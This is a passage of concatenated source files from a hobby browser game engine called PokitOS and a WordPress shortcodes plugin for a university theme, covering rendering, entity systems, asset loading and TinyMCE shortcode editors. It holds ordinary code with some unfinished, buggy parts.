{id,x,y,width,height} of sortFunc(this._sorted_torender, cam)) { let {imgname,offx,offy,offwidth,offheight} = this.imgdata.get(id); let i = <HTMLImageElement>this._engine.assets.getAsset(imgname).data; // con.save(); // con.translate(x-(cam.x-160),y-(cam.y-160)); // con.drawImage(i,offx||0,offy||0,offwidth||i.width,offheight||i.height,-width/2,-height/2,width||i.width,height||i.height); // con.restore(); // Revised to work without translation con.drawImage(i,offx||0,offy||0,offwidth||i.width,offheight||i.height,(x-width/2)-cam_x_offset,(y-height/2)-cam_y_offset,width||i.width,height||i.height); } } } }<file_sep>class SpacialHash { constructor(cell_size) { this.cell_size = cell_size; this.grid = new Map(); } _key(vec) { return Math.floor(vec.x/this.cellsize) * this.cellsize + ' ' + Math.floor(vec.y/this.cellsize) * this.cellsize; } insert(identity) { let idkey = this._key(identity); } } var HashMap = function(cell_size) { this.cell_size = cell_size; this.grid = []; } HashMap.prototype._key = function(vec) { var cellsize = this.cell_size; return Math.floor(vec.x/cellsize) * cellsize + ' ' + Math.floor(vec.y/cellsize) * cellsize; } HashMap.prototype.insert = function(ob) { var obkey = this._key(ob.position); var grid = this.grid; if (!grid[obkey]) { grid[obkey] = []; } grid[obkey].push(ob); } HashMap.prototype.getClosest = function(ob) { return this.grid[this._key(ob.position)]; }<file_sep>import {Types} from "./assetmanager.js" import { PokitOS } from "./pokitos.js"; import { IEntityPrefab } from "./ecs.js"; export interface ICartManifest { name: string, main: string, baseURL?: URL, module?: ICart, assetgroups: { [group: string]: string[] }, assets: { [asset: string]: [string, string] } prefabs: { [prefab: string]: IEntityPrefab } } export interface ICart { main: (engine: PokitOS)=>void; } export function getBaseCartURL(): URL { let urlParams = new URLSearchParams(window.location.search); let urlpart = urlParams.get('cart') let carturl = new URL(urlpart ? urlpart + '/' : '/carts/democart//', window.location.origin) console.log(carturl.href) return carturl } export async function parseCartManifest(baseurl: URL): Promise<ICartManifest> { let newurl = new URL('cart.json', baseurl.href) let manifest = <ICartManifest>await (await fetch(newurl.toString())).json() manifest.baseURL = baseurl console.log(newurl) console.log(manifest) return manifest } export async function preloadCartAssets(cartinfo: ICartManifest, pokitOS: PokitOS) { console.log(cartinfo) let promises = [] console.log(Types) for (let [k,[type, url]] of Object.entries(cartinfo.assets)) { console.log(type) let newurl = new URL(url, cartinfo.baseURL.href) promises.push(pokitOS.assets.queueAsset(k, newurl.toString(), Types[type])) } for(let [k,v] of Object.entries(cartinfo.prefabs)){ pokitOS.ecs.prefabs.set(k,v); } for (let p in promises) { await p } } export async function loadCartModule(cartinfo: ICartManifest, pokitOS: PokitOS) { let modurl = new URL(cartinfo.main, cartinfo.baseURL.href) console.log(modurl) let mod = await import(modurl.toString()) console.log(mod) cartinfo.module = mod mod.preload ? mod.preload() : '' } export async function startCart(cartinfo: ICartManifest, pokitOS: PokitOS) { console.log('loading') cartinfo.module.main(pokitOS); }<file_sep>import {InputManager} from './smolinput.js' import {ECS} from './ecs.js'; // import {Renderer} from './smolrender.mjs'; import {Renderer} from './jewls.js'; import {Mixer} from './boombox.js' import {PokitOS} from './pokitos.js'; import {Types,AssetManager} from './assetmanager.js'; import {SpatialHash} from './spatialhash.js' import {doIntroAnim} from './introanim.js'; import {addTileMapSupport} from './extras/tilemaps.js'; import './smolworker.js' export default async function main() { let ecs = new ECS(); let e = ecs.makeEntity({width: 320, height: 320}); ecs.update(); let i = new InputManager(); let r = new Renderer(document.querySelector('#gamescreen')); let a = new AssetManager(); let m = new Mixer(); let pokitOS = await new PokitOS({inputmanager: i, ecs: ecs, renderer: r, assets: a, mixer: m}).preload(); addTileMapSupport(pokitOS); // a.getImage('load_text', '/img/bootscreen_text.svg'); // e.addCog('img', {imgname:'load_text'}) pokitOS.start(); //let boombox = new Mixer(); //boombox.init(pokitOS); //let sound = await a.queueAsset('xmas', '/carts/krackedEC/LastChristmas.mp3', Types.SOUND); //boombox.playSound(sound); doIntroAnim(pokitOS) // let load = await pokitOS.assets.queueImage('load_text', '/img/bootscreen_text.png'); // let loa2 = await pokitOS.assets.queueImage('load_text2', '/img/bootscreen_top.png'); // let cam = pokitOS.ecs.makeEntity({x:0,y:0,height:320,width:320,z:0}) // .addCog('camera', {isMainCamera:true}); // let durr = pokitOS.ecs.makeEntity({x:160,y:160*1,height:320,width:320,z:10}) // .addCog('img', {id: 'load_text'}) // .addCog('spriteActor') // let dur2 = pokitOS.ecs.makeEntity({x:160,y:160*1,height:loa2.height,width:loa2.width,z:1}) // .addCog('img', {id: 'load_text2'}) // .addCog('spriteActor') // console.log(durr) window.pokitOS = pokitOS; return pokitOS; } <file_sep>import {SpatialHash} from './spatialhash.js' import { PokitOS } from './pokitos'; function getReference(obj1, obj2){ return obj1.id + '.' + obj2.id; } export let collisionSystem = { init:(engine: PokitOS)=>{ this.engine = engine; this.map = new SpatialHash(120); this.collisions = new Map(); }, update:(entities)=>{ this.map.clear(); let colliders = entities.filter(x=>x.flags.has('collidable')); this.map.addMany(colliders); Array.prototype.forEach(x=>x.collided=false, this.collisions.values()); for(let collider of colliders){ for(let collision of this.map.findColliding(collider)){ if(collider !== collision){ if(!this.collisions.get(getReference(collider, collision))){ collider.onCollisionEnter(collider, collision); } this.collisions.set(getReference(collider, collision), {collider:collider,collision:collision,collided:true}); } } } for(let collisionKey of this.collisions.keys()){ let collision = this.collisions.get(collisionKey); if(!collision.collided){ collision.collider.onCollisionExit(collision.collider, collision.collision) this.collisions.delete(collisionKey); } } } }<file_sep>export function main(pokitOS) { console.log('changed'); let sun = pokitOS.ecs.makeEntity({z: 10, scaleX: .2, scaleY: .2}, "angry") .addUniqueCog('rot', { update () { sun.rotation += 1; } }); let planet = pokitOS.ecs.makeEntity({}, "angry") .addCog("audioSource", {startOnInit: true, loop:true, spatial: true, id: 'cali'}) .addUniqueCog('inc', { c: 0, update () { this.c+=.01; planet.x = Math.sin(this.c) * 16 * 20 } }); planet.parent = sun; }<file_sep>import * as jewls from './jewls/opengl/opengl.js'; import {Types, IAsset} from './assetmanager.js'; import { ICog, PokitEntity } from './ecs.js'; import { PokitOS } from './pokitos.js'; export interface ITextureSystem extends ICog { id: string, spriteX?: number, spriteY?: number, width?: number, height?: number } let textureSystem = class implements ITextureSystem { private _engine: PokitOS; id: string; spriteX: number; sprityY: number; constructor(engine: PokitOS) {this._engine=engine} init (_, imgdata: ITextureSystem) { console.log(this) Object.assign(this, { spriteX:0, spriteY:0, }, imgdata) } }; export interface ICameraSystem extends ICog{ isMainCamera: boolean; } let cameraSystem = class implements ICameraSystem{ private _engine: PokitOS; isMainCamera: boolean; constructor(engine: PokitOS) {this._engine=engine} init (entity: PokitEntity, camData: ICameraSystem) { jewls.createCamera(entity.id.toString(), entity.width, entity.height, camData.isMainCamera); } update (entity: PokitEntity) { jewls.translateCamera(entity.id.toString(), entity.x, entity.y); } destroy (entity: PokitEntity) { jewls.deleteCamera(entity.id.toString()); } }; let actorSystem = class implements ICog { _engine: PokitOS; _tex: ITextureSystem; constructor(engine: PokitOS) {this._engine=engine} async init (entity: PokitEntity,_) { this._tex = <ITextureSystem>entity.cogs.get('img'); jewls.createActor(entity.id.toString(), this._tex.id, this._tex.width, this._tex.height); } update (entity: PokitEntity) { jewls.setActorSprite(entity.id.toString(), this._tex.spriteX, this._tex.spriteY); jewls.translateActor(entity.id.toString(), entity.x, entity.y, entity.z); jewls.rotateActor(entity.id.toString(), entity.rotation); jewls.scaleActor(entity.id.toString(), entity.scaleX, entity.scaleY); } destroy (entity: PokitEntity) { jewls.deleteActor(entity.id.toString()); } }; export interface ITileMapSystem extends ICog { id: string, zPad?: number } export interface ITileMap extends IAsset { width: number, tilewidth: number, tileheight: number, alphaTile: number, tilelayers: number[][] } let tileMapSystem = class extends actorSystem implements ITileMapSystem { private _img: IGpuImage; id: string; zPad: number; constructor(engine: PokitOS){ super(engine); } async init(entity: PokitEntity, info: ITileMapSystem){ Object.assign(this, {zPad:0.1}, info); let tileMap = <ITileMap>await super._engine.assets.getAsset(this.id); this._tex = <ITextureSystem>entity.cogs.get('img'); this._img = <IGpuImage>await super._engine.assets.getAsset(this._tex.id); jewls.createTileMap(entity.id.toString(), this._tex.id, tileMap.width, this._img.width/tileMap.tilewidth, tileMap.tilewidth, tileMap.tileheight, this.zPad, tileMap.alphaTile, tileMap.tilelayers) } } export interface IGpuImage extends IAsset{ id: string, height: number, width: number } async function decodeImage(id: string, response: Response){ let i = new Image(); await new Promise(async (resolve)=>{ let blob = await response.blob(); i.onload = resolve; i.src = URL.createObjectURL(blob); }) jewls.createImageTexture(id, i); return {id:id, height:i.height, width:i.width}; } async function destructImage(asset: IAsset){ jewls.deleteTexture(asset.id); } export class Renderer implements IRenderer { private _canvas: HTMLCanvasElement; private _engine: PokitOS; render: (cullFunc: CullingFunction)=>void; constructor(canvas: HTMLCanvasElement) { this._canvas = canvas; this._engine = null; } async init(engine: PokitOS) { this._engine = engine; await jewls.initContext(this._canvas); engine.assets.registerType('IMAGE'); engine.assets.registerDecoder(Types.IMAGE, decodeImage); engine.assets.registerDestructor(Types.IMAGE, destructImage); this.render = jewls.render; engine.ecs.setCog('img', textureSystem); engine.ecs.setCog('spriteActor', actorSystem); engine.ecs.setCog('camera', cameraSystem); engine.ecs.defaultCamera = engine.ecs.makeEntity({width:320, height:320}) .addCog('camera', {isMainCamera:true}); } }<file_sep># shootydungeon Shooty. Dungeon. <file_sep>import { Types, AssetManager } from "../assetmanager.js"; import { PokitOS } from "../pokitos.js"; export function addTileMapSupport(pokitOS: PokitOS) { pokitOS.assets.registerType("TILED") pokitOS.assets.registerDecoder(Types.TILED, decodeTiled) // AssetManager.prototype.getTileMap = async function(tilemapName, src) { // let j = await this.getJson(tilemapName, src) // } } async function decodeTiled(_, response) { let ob = await response.json(); let {tilewidth, tileheight, width, height, layers} = ob let tilelayers = [] let objects = {} let zind = 1; for (let layer of layers) { console.log('processing layer') console.log(layer) if (layer.visible) { layer.z = zind; if (layer.type == "tilelayer") { tilelayers.push(layer) } if (layer.type == "objectgroup") { tilelayers.push([]); for (let o of layer.objects) { console.log(o) o.x += layer.x o.y += layer.y o.x -= o.width/2 o.y -= o.height/2 } layer.objects.filter((a) => a.visable) objects[layer.name] = layer.objects } } zind++; } let ret = { tileLayers: tilelayers, objects: objects, tileheight: tileheight, tilewidth: tilewidth, height: height, width: width, maxZ: zind } return ret }<file_sep>let messager = new MessageChannel(); let port = messager.port1; let worker1 = createWorker(function(e) { let p = e.ports[0] p.onmessage = function(a) { console.log(a) } }) let thing = {foo: "bar", bar: "bar", dede: 'fwomp'} console.log(thing) console.log('sending thing') worker1.postMessage({t:null}, [messager.port2]) console.time('foo') port.postMessage(thing) console.timeEnd('foo') thing.foo = "baz" console.log(thing) function createWorker(fn) { var blob = new Blob(['self.onmessage = ', fn.toString()], { type: 'text/javascript' }); var url = URL.createObjectURL(blob); return new Worker(url); }<file_sep>export class StartScreen { constructor(pokitOS, startEntity) { this.engine = pokitOS; this.startScreen = startEntity; } globalUpdate(components) { if (this.engine.input.buttons.a) { components.get('identity').get(this.startScreen).requestDelete = true; this.engine.baublebox.destroySystem('startScreen'); } } } const movetime = 30; const moveSpeed = movetime/14; export class PlayerControlSystem { constructor(pokitOS) { this.priority = 10; this.pokitOS = pokitOS; this.componentsRequired = ['playersprite', 'moves', 'identity']; this.ticksUntilMove = 0; //this.ifResetTicks = false; console.log(this); } resetTicks(playersprite) { playersprite.ticksUntilMove = movetime } entityUpdate([entityID, playersprite, moves, identity]) { if (playersprite.ticksUntilMove <= 0) { //console.log(entityID); let velXDelta = false; let velYDelta = true; identity.velocityX = 0; identity.velocityY = 0; if (this.pokitOS.input.buttons.up) { identity.velocityY += -moveSpeed; velYDelta = true; this.resetTicks(playersprite); } else if (this.pokitOS.input.buttons.down) { identity.velocityY += moveSpeed; velYDelta = true; this.resetTicks(playersprite); } else if (this.pokitOS.input.buttons.left) { identity.velocityX += -moveSpeed; velXDelta = true; this.resetTicks(playersprite); } else if (this.pokitOS.input.buttons.right) { identity.velocityX += moveSpeed; velXDelta = true; this.resetTicks(playersprite); } if (!velXDelta) this.moveTowardsZero(identity.velocityX, moveSpeed); if (!velYDelta) this.moveTowardsZero(identity.velocityY, moveSpeed); } playersprite.ticksUntilMove--; console.log(playersprite.ticksUntilMove); } moveTowardsZero(orig, amt) { if (orig === 0) return 0; if (orig > 0) return orig - amt; return orig + amt; } } export class PlayerWallCollisionSystem { constructor(pokitOS) { this.priority = 9; this.pokitOS = pokitOS; this.quadtree = null; } globalUpdate(components) { if (!this.quadtree) { let walls = components.entitiesFrom(['walllist', 'identity'])[0][1]; this.quadtree = kontra.quadtree({x: 0, y: 0, width: 32*10, height: 32*10}); this.quadtree.add(walls) } let players = components.entitiesFrom(['playersprite', 'identity']); // For each player, make sure it won't hit a wall in the direction its going. if it will be, // cancel the move for (let [entityID, _, player] of players) { let overlapping = self.quadtree.get({ x: player.x + (player.velocityX * 3), y: player.y + (player.velocityY * 3), width: player.width, height: player.height }) if (overlapping) { player.velocityX = 0; player.velocityY = 0; } } } } export class PlayerPresetnCollisionSystem { constructor(pokitOS) { this.pokitOS = pokitOS; this.priority = 8; this.quadtree = kontra.quadtree(); } globalUpdate(components) { let presents = components.entitiesFrom(['present', 'identity']).map(x => x[2]); this.quadtree } } function walllistComponent(opts) { return opts || []; } function playerspriteComponent(spritename) { return {santaname: spritename || 'badsanta', ticksUntilMove: 0, collected: false}; } function startPositionComponent() { return {used: false} } function presentComponent() { return {collected: false} } function chimneysComponent(opts) { return opts || [] } export function setupPlayerControl(pokitOS) { pokitOS.baublebox.initializeSystem('playercontrolsystem', new PlayerControlSystem(pokitOS)); pokitOS.baublebox.initializeComponent('walllist', walllistComponent); pokitOS.baublebox.initializeComponent('chimneylist', chimneysComponent); pokitOS.baublebox.initializeComponent('playersprite', playerspriteComponent); pokitOS.baublebox.initializeComponent('startpoint', startPositionComponent) pokitOS.baublebox.initializeComponent('present', presentComponent) }
61ea972f0e6ffb1689c9a348b667fb1994bfcd21
[ "JavaScript", "TypeScript", "Markdown" ]
29
TypeScript
saifsuleman/Pokit3
aea8da174e3f03b5d295c79af69b3f44727eac19
87a2c85d46ed55e1aa1146b75cb6514aa5814029
refs/heads/master
<file_sep>Shortcodes Plugin ================= The following shortcodes are provided by this plugin: ### panel Adds markup to show enclosed text in a bootstrap "panel". The shortcode encloses content and has a two possible attributes ("title" and "footer"). The following code: ``` [panel title="Panel Title" footer="Panel Footer"]Panel Content[/panel] ``` results in the following markup: ```html <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title">Panel Title</h3> </div> <div class="panel-body">Panel Content</div> <div class="panel-footer">Panel Footer</div> </div> ``` ### button Adds markup to create a button. Buttons can have links, titles and types (from _success_, _info_, _warning_, _danger_, _purple_). The following code: ``` [button link="http://example.com/" text="Click Me!" type="danger"] ``` results in the following markup ```html <a href="http://example.com/" class="btn btn-lg btn-danger">Click Me!</a> ``` ### downloadfile This adds bootstrap "islands" for download links incorporating icons for different file types. Supported file types are currently _word_, _powerpoint_, _zip_, _pdf_, and _excel_. The shortcode has two possible attributes (`type` and `url`) and encloses the text content which will form the link to the file. The following code: ``` [downloadfile type="pdf" url="http://example.com/document.pdf"]Download a PDF file[/downloadfile] ``` results in the following markup: ```html <h4><a class="island island-sm island-m-b skin-box-module downloadlink type-pdf" href="http://example.com/document.pdf">Download a PDF file</a></h4> ``` ### gallery This shortcode replaces the default wordpress shortcode for image galleries and wraps elements in markup which is supported by the theme (i.e. by adding bootstrap classes and enclosing items in `<div>` elements with the appropriate size for the number of columns chosen)<file_sep><?php /** * Download link shortcode * @see https://generatewp.com/take-shortcodes-ultimate-level/ * @see https://github.com/dtbaker/wordpress-mce-view-and-shortcode-editor */ if ( ! class_exists( 'tk_downloadfile_shortcode' ) ) : class tk_downloadfile_shortcode{ /** * $shortcode_tag * holds the name of the shortcode tag * @var string */ public $shortcode_tag = 'downloadfile'; /** * __construct * class constructor will set the needed filter and action hooks */ function __construct() { //add shortcode add_shortcode( $this->shortcode_tag, array( $this, 'shortcode_handler' ) ); // add button to editor add_filter( 'tk_shortcodes_mce_buttons', array( $this, 'add_mce_button' ) ); // add plugin to editor add_filter( 'tk_shortcodes_mce_plugins', array( $this, 'add_mce_plugin' ) ); } /** * shortcode_handler * @param array $atts shortcode attributes * @param string $content shortcode content * @return string */ public function shortcode_handler($atts , $content = null) { // Set default parameters $downloadfile = shortcode_atts( array ( 'url' => '', 'type' => '' ), $atts ); $downloadfile = (object) $downloadfile; // sanitise $downloadfile->content = ( ! $content || trim($content) == "" ) ? "Download": $content; $downloadfile->type = strtolower( trim( $downloadfile->type ) ); $file_types = array('word', 'powerpoint', 'zip', 'pdf', 'excel', 'github'); $downloadfile->url = filter_var( $downloadfile->url, FILTER_VALIDATE_URL ); if ( $downloadfile->url && in_array( $downloadfile->type, $file_types ) ) { //return shortcode output ob_start(); include plugin_dir_path( __DIR__ ) . 'templates/downloadfile.php'; return ob_get_clean(); } } /** * add a button to the tinyMCE editor */ public function add_mce_button( $buttons ) { $buttons[] = $this->shortcode_tag; return $buttons; } /** * add a plugin to the tinyMCE editor */ public function add_mce_plugin( $plugins ) { $plugins[$this->shortcode_tag] = 'tk-downloadfile-plugin.js'; return $plugins; } } new tk_downloadfile_shortcode(); endif;<file_sep><?php /** * Button shortcode * @see https://generatewp.com/take-shortcodes-ultimate-level/ * @see https://github.com/dtbaker/wordpress-mce-view-and-shortcode-editor */ if ( ! class_exists( 'tk_button_shortcode' ) ) : class tk_button_shortcode{ /** * $shortcode_tag * holds the name of the shortcode tag * @var string */ public $shortcode_tag = 'tk_button'; /** * __construct * class constructor will set the needed filter and action hooks */ function __construct() { //add shortcode add_shortcode( $this->shortcode_tag, array( $this, 'shortcode_handler' ) ); // add button to editor add_filter( 'tk_shortcodes_mce_buttons', array( $this, 'add_mce_button' ) ); // add plugin to editor add_filter( 'tk_shortcodes_mce_plugins', array( $this, 'add_mce_plugin' ) ); } /** * shortcode_handler * @param array $atts shortcode attributes * @param string $content shortcode content * @return string */ public function shortcode_handler($atts , $content = null) { // Set default parameters $button = shortcode_atts( array ( 'link' => '', 'title' => '', 'block' => false, 'type' => 'default' ), $atts ); $button = (object) $button; // sanitise $button->link = filter_var( $button->link, FILTER_VALIDATE_URL ); $button->block = filter_var( $button->block, FILTER_VALIDATE_BOOLEAN ); if ( $button->link && $button->title ) { //return shortcode output ob_start(); include plugin_dir_path( __DIR__ ) . 'templates/button.php'; return ob_get_clean(); } } /** * add a button to the tinyMCE editor */ public function add_mce_button( $buttons ) { $buttons[] = $this->shortcode_tag; return $buttons; } /** * add a plugin to the tinyMCE editor */ public function add_mce_plugin( $plugins ) { $plugins[$this->shortcode_tag] = 'tk-button-plugin.js'; return $plugins; } } new tk_button_shortcode(); endif;<file_sep>/* global tinyMCE */ (function($){ var media = wp.media, shortcode_string = 'downloadfile'; wp.mce = wp.mce || {}; wp.mce.downloadfile = { shortcode_data: {}, template: media.template( 'downloadfile_shortcode' ), getContent: function() { var options = this.shortcode.attrs.named; options.content = this.shortcode.content; return this.template(options); }, View: { // before WP 4.2: template: media.template( 'downloadfile_shortcode' ), postID: $('#post_ID').val(), initialize: function( options ) { this.shortcode = options.shortcode; wp.mce.downloadfile.shortcode_data = this.shortcode; }, getHtml: function() { var options = this.shortcode.attrs.named; options.content = this.shortcode.content; return this.template(options); } }, edit: function( data ) { var shortcode_data = wp.shortcode.next(shortcode_string, data); var values = shortcode_data.shortcode.attrs.named; values.content = shortcode_data.shortcode.content; wp.mce.downloadfile.popupwindow(tinyMCE.activeEditor, values); }, // this is called from our tinymce plugin, also can call from our "edit" function above // wp.mce.boutique_banner.popupwindow(tinyMCE.activeEditor, "bird"); popupwindow: function(editor, values, onsubmit_callback){ values = values || []; if(typeof onsubmit_callback !== 'function'){ onsubmit_callback = function( e ) { // Insert content when the window form is submitted (this also replaces during edit, handy!) var args = { tag : shortcode_string, content : e.data.content, attrs : { url : e.data.url, type : e.data.type } }; editor.insertContent( wp.shortcode.string( args ) ); }; } editor.windowManager.open( { title: 'File Download button', body: [ { type: 'textbox', name: 'url', label: 'File URL', value: values.url, tooltip: 'Full URL of file' }, { type: 'listbox', name: 'type', label: 'File Type', value: values.type, 'values': [ {text: 'PDF file', value: 'pdf'}, {text: 'Word document', value: 'word'}, {text: 'Powerpoint presentation', value: 'powerpoint'}, {text: 'Excel Spreadsheet', value: 'excel'}, {text: 'Zip archive', value: 'zip'}, {text: 'Source Code', value: 'github'} ], tooltip: 'Select the type of file' }, { type: 'textbox', name: 'content', label: 'Link text', value: values.content, minWidth: 300 } ], onsubmit: onsubmit_callback } ); } }; wp.mce.views.register( shortcode_string, wp.mce.downloadfile ); tinymce.PluginManager.add( shortcode_string, function( editor ) { editor.addButton( shortcode_string, { tooltip: 'File Download', text: 'File', icon: 'downloadfile', onclick: function() { wp.mce.downloadfile.popupwindow(editor); } }); }); }(jQuery));<file_sep>// Gulp var gulp = require('gulp'); // Sass/CSS stuff var sass = require('gulp-sass'); var cleanCSS = require('gulp-clean-css'); // scripts var uglify = require('gulp-uglify'); // Utilities var bower = require('gulp-bower'); var fs = require('fs'); var concat = require('gulp-concat'); var rename = require('gulp-rename'); gulp.task('bower', function() { return bower({ cmd: 'update'}); }); gulp.task('copydeps', ['bower'], function() { gulp.src(['bower_components/featherlight/src/featherlight.css','bower_components/featherlight/src/featherlight.gallery.css']) .pipe(gulp.dest('./scss/vendor/')); gulp.src('bower_components/include-media/dist/_include-media.scss') .pipe(gulp.dest('./scss/util/')); gulp.src(['bower_components/featherlight/src/featherlight.min.js','bower_components/featherlight/src/featherlight.gallery.min.js','bower_components/jquery-detect-swipe/jquery.detect_swipe.js']) .pipe(gulp.dest('./js/vendor/')); }); // Compile Sass gulp.task('sass', function() { return gulp.src(['scss/toolkit-shortcodes.scss', 'scss/toolkit-shortcodes-admin.scss', 'scss/toolkit-shortcodes-editor-style.scss', 'scss/toolkit-gallery.scss']) .pipe(sass({ includePaths: ['./scss'], outputStyle: 'expanded' })) .pipe(cleanCSS()) .pipe(gulp.dest('./css/')); }); gulp.task('scripts', ['minifyjs'], function() { return gulp.src(['./js/vendor/jquery.detect_swipe.min.js', './js/vendor/featherlight.min.js', './js/vendor/featherlight.gallery.min.js']) .pipe(concat('toolkit-gallery.js')) .pipe(gulp.dest('./js/')); }); gulp.task('minifyjs', function(){ return gulp.src('./js/vendor/jquery.detect_swipe.js') .pipe(rename('jquery.detect_swipe.min.js')) .pipe(uglify({output:{comments:/^\*/}})) .pipe(gulp.dest('./js/vendor/')); }); // Watch Files For Changes gulp.task('watch', function() { gulp.watch('scss/**/*.scss', ['sass']); }); // Default Task gulp.task('default', ['copydeps', 'sass', 'scripts', 'watch']);<file_sep>/* global tinyMCE */ (function($){ var media = wp.media, shortcode_string = 'tk_panel'; wp.mce = wp.mce || {}; wp.mce.tk_panel = { shortcode_data: {}, template: media.template( 'tk_panel_shortcode' ), getContent: function() { var options = this.shortcode.attrs.named; options.content = this.shortcode.content; return this.template(options); }, View: { // before WP 4.2: template: media.template( 'tk_panel_shortcode' ), postID: $('#post_ID').val(), initialize: function( options ) { this.shortcode = options.shortcode; wp.mce.tk_panel.shortcode_data = this.shortcode; }, getHtml: function() { var options = this.shortcode.attrs.named; options.content = this.shortcode.content; return this.template(options); } }, edit: function( data ) { var shortcode_data = wp.shortcode.next(shortcode_string, data); var values = shortcode_data.shortcode.attrs.named; values.content = shortcode_data.shortcode.content; wp.mce.tk_panel.popupwindow(tinyMCE.activeEditor, values); }, // this is called from our tinymce plugin, also can call from our "edit" function above // wp.mce.boutique_banner.popupwindow(tinyMCE.activeEditor, "bird"); popupwindow: function(editor, values, onsubmit_callback){ values = values || []; if(typeof onsubmit_callback !== 'function'){ onsubmit_callback = function( e ) { // Insert content when the window form is submitted (this also replaces during edit, handy!) var args = { tag : shortcode_string, content : e.data.content, attrs : { title : e.data.title, footer : e.data.footer, type : e.data.type } }; editor.insertContent( wp.shortcode.string( args ) ); }; } editor.windowManager.open( { title: 'Panel', body: [ { type: 'textbox', name: 'title', label: 'Panel title', value: values.title, tooltip: 'Leave blank for none' }, { type: 'listbox', name: 'type', label: 'Panel Type', value: values.type, 'values': [ {text: 'Default', value: 'default'}, {text: 'Info', value: 'info'}, {text: 'Primary', value: 'primary'}, {text: 'Success', value: 'success'}, {text: 'Warning', value: 'warning'}, {text: 'Danger', value: 'danger'} ], tooltip: 'Select the type of panel you want' }, { type: 'textbox', name: 'content', label: 'Panel Content', value: values.content, multiline: true, minWidth: 300, minHeight: 100 }, { type: 'textbox', name: 'footer', label: 'Panel Footer', value: values.footer, tooltip: 'Leave blank for none' } ], onsubmit: onsubmit_callback } ); } }; wp.mce.views.register( shortcode_string, wp.mce.tk_panel ); tinymce.PluginManager.add( shortcode_string, function( editor ) { editor.addButton( shortcode_string, { text: 'Panel', icon: 'tk_panel', onclick: function() { wp.mce.tk_panel.popupwindow(editor); } }); }); }(jQuery));<file_sep><?php /** * Panel shortcode * @see https://generatewp.com/take-shortcodes-ultimate-level/ * @see https://github.com/dtbaker/wordpress-mce-view-and-shortcode-editor */ if ( ! class_exists( 'tk_panel_shortcode' ) ) : class tk_panel_shortcode{ /** * $shortcode_tag * holds the name of the shortcode tag * @var string */ public $shortcode_tag = 'tk_panel'; /** * panel types * these are defined in stylesheets and correspond to different colour schemes * @var array */ public $panel_types = array('primary','success','info','warning','danger','default'); /** * __construct * class constructor will set the needed filter and action hooks */ function __construct() { //add shortcode add_shortcode( $this->shortcode_tag, array( $this, 'shortcode_handler' ) ); // add button to editor add_filter( 'tk_shortcodes_mce_buttons', array( $this, 'add_mce_button' ) ); // add plugin to editor add_filter( 'tk_shortcodes_mce_plugins', array( $this, 'add_mce_plugin' ) ); } /** * shortcode_handler * @param array $atts shortcode attributes * @param string $content shortcode content * @return string */ public function shortcode_handler($atts , $content = null) { // Attributes $panel = shortcode_atts( array( 'title' => '', 'footer' => '', 'type' => 'default', ), $atts ); $panel = (object) $panel; // make sure the panel type is a valid styled type if not revert to default $panel->type = in_array($panel->type, $this->panel_types)? $panel->type: 'default'; // trim panel body content and process shortcodes $panel->content = trim( do_shortcode( $content ) ); //return shortcode output ob_start(); include plugin_dir_path( __DIR__ ) . 'templates/panel.php'; return ob_get_clean(); } /** * add a button to the tinyMCE editor */ public function add_mce_button( $buttons ) { $buttons[] = $this->shortcode_tag; return $buttons; } /** * add a plugin to the tinyMCE editor */ public function add_mce_plugin( $plugins ) { $plugins[$this->shortcode_tag] = 'tk-panel-plugin.js'; return $plugins; } } new tk_panel_shortcode(); endif;<file_sep><?php /** * Plugin Name: Toolkit Shortcodes * Plugin URI: https://github.com/universityofleeds/toolkit-shortcodes * GitHub Plugin URI: https://github.com/universityofleeds/toolkit-shortcodes * Description: Shortcodes for components in the UoL WordPress Toolkit theme. * Version: 1.0.7 * Author: Application Development, University of Leeds * Author URI: https://github.com/universityofleeds * License: GPL2 */ if ( ! class_exists( 'tk_shortcodes' ) ) { class tk_shortcodes { /* plugin version */ public static $version = "1.0.7"; /* register all shortcodes with wordpress API */ public function __construct() { // panel shortcode (Tiny MCE style) include dirname(__FILE__) . '/lib/panel.php'; // panel shortcode (shortcode style) add_shortcode( 'panel', array( __CLASS__, 'panel_shortcode' ) ); // button shortcode (TinyMCE style) include dirname(__FILE__) . '/lib/button.php'; // button shortcode (shortcode style) add_shortcode( 'button', array( __CLASS__, 'button_shortcode' ) ); // download file button include dirname(__FILE__) . '/lib/downloadfile.php'; // iframe include dirname(__FILE__) . '/lib/iframe.php'; // include media templates add_action( 'print_media_templates', array( $this, 'media_templates' ) ); // Remove built in gallery shortcode remove_shortcode('gallery', 'gallery_shortcode'); // add gallery shortcode add_shortcode( 'gallery', array( $this, 'gallery_shortcode' ) ); // enqueue scripts and styles add_action( 'wp_enqueue_scripts', array( $this, 'toolkit_shortcodes_script' ) ); add_action( 'admin_head', array( $this, 'admin_head') ); add_action( 'admin_enqueue_scripts', array($this , 'admin_script' ) ); add_filter( 'mce_css', array($this , 'editor_styles' ) ); } /* * PANEL SHORTCODE [panel title=""]Blah Blah[/panel] */ public static function panel_shortcode( $atts, $content = null ) { // Set default parameters $panel_atts = shortcode_atts( array ( 'title' => '' ), $atts ); // If title is empty, don't use it in the panel if( $panel_atts['title'] == '') { $title = ''; // Otherwise, add the panel! } else { $title = '<div class="panel-heading"><h3 class="panel-title">' . wp_kses_post( $panel_atts['title'] ) . '</h3></div>'; } // Return the panel markup return '<div class="panel panel-default">' . $title . '<div class="panel-body">' . $content . '</div></div>'; } /* * BUTTON SHORTCODE [button link="" text="" type=""] */ public static function button_shortcode( $atts ) { // Set default parameters $button_atts = shortcode_atts( array ( 'link' => '', 'text' => 'Button text', 'type' => '' ), $atts ); // Button types if( $button_atts['type'] == '' ) { $button_type = 'btn-primary'; } else if( $button_atts['type'] == 'success' ) { $button_type = 'btn-success'; } else if( $button_atts['type'] == 'info' ) { $button_type = 'btn-info'; } else if( $button_atts['type'] == 'warning' ) { $button_type = 'btn-warning'; } else if( $button_atts['type'] == 'danger' ) { $button_type = 'btn-danger'; } else if( $button_atts['type'] == 'purple' ) { $button_type = 'btn-purple'; } // Return the button return '<a href="' . wp_kses_post( $button_atts['link'] ) . '" class="btn btn-lg ' . $button_type . '">' . wp_kses_post( $button_atts['text'] ) . '</a>'; } /** * GALLERY SHORTCODE * replaces default output for wordpress galleries */ public static function gallery_shortcode( $attr ) { $post = get_post(); static $instance = 0; $instance++; if ( ! empty($attr['ids'])) { if ( empty( $attr['orderby'] ) ) { $attr['orderby'] = 'post__in'; } $attr['include'] = $attr['ids']; } $output = 